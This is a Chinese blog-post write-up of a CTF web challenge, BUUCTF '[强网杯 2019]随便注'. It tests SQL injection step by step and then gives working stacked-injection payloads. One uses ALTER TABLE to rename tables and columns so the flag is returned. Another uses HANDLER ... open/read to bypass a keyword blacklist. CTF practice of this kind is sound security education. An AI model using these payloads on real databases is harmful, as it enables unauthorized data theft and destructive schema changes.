BUUCTF-web类-第二题 [强网杯 2019]随便注

BUUCTF-web类-第二题 [强网杯 2019]随便注
在这里插入图片描述在这里插入图片描述
正常输入1,返回一个数组
在这里插入图片描述
基本操作,单引号测试下,报错了。
在这里插入图片描述看看 1’ or 1=1 #,发现爆出了所有字段。
在这里插入图片描述常规流程,order by,发现到order by 3#时,报错了,说明该表中只有三个字段。
在这里插入图片描述继续常规流程,联合查询,发现提示竟然过滤了这么多注入时常用的关键字,看来事情没有这么简单。
在这里插入图片描述于是我选择了从头再来,看看有没有别的注入方式,结果发现竟然存在堆叠注入。
于是我们查查库,查查表,查查字段。
库:

1';show databases;#

在这里插入图片描述表:发现有两个表 ‘191919810931114514’和’words’

1';show tables;#

在这里插入图片描述'191919810931114514’表中字段,发现flag应该就是在这个表中了

1';show columns from `1919810931114514`# 
注意一下这里时反引号``

在这里插入图片描述'words’表中字段

1';show columns from `words`# 注意反引号

在这里插入图片描述对比我们刚刚输入1查询之后的结果,可以发现原来查询之后返回的都是words表中的结果,所以出现了骚思路,能否将 '191919810931114514’表中的flag字段作为结果放回出来,于是进行测试,发现没有过滤过滤alert和rename关键字。
思路是这样:
这时候我们就可以已下面的骚姿势进行注入:
(1)将words表改名为word1
(2)1919810931114514改名为words
(3)将flag列改名为id(记得数值类型也要改)
构造payload:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

更改完,1’ or 1=1 #看看结果,得到了flag。
在这里插入图片描述后来发现,还有一种很简单的解法,因为用的是黑名单过滤,其实还有一个关键字没有被过滤掉,那就是handler
在这里插入图片描述payload:

1';
handler `1919810931114514` open;
handler `1919810931114514` read first;# 

反引号千万别忘了,这道题被反引号坑了几次了!!!
如果表名是纯数字需要用反引号包裹,不然不会出现回显。
MySQL中反引号和单引号的区别与用法
(1)MySql 中用一对反引号来标注 SQL 语句中的标识,如数据库名、表名、字段名等
(2)引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
本题的mysql查询语句应该是

select * from words where id=`$injec`;

本题难点在于姿势以及想法,着实扩展了眼界。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值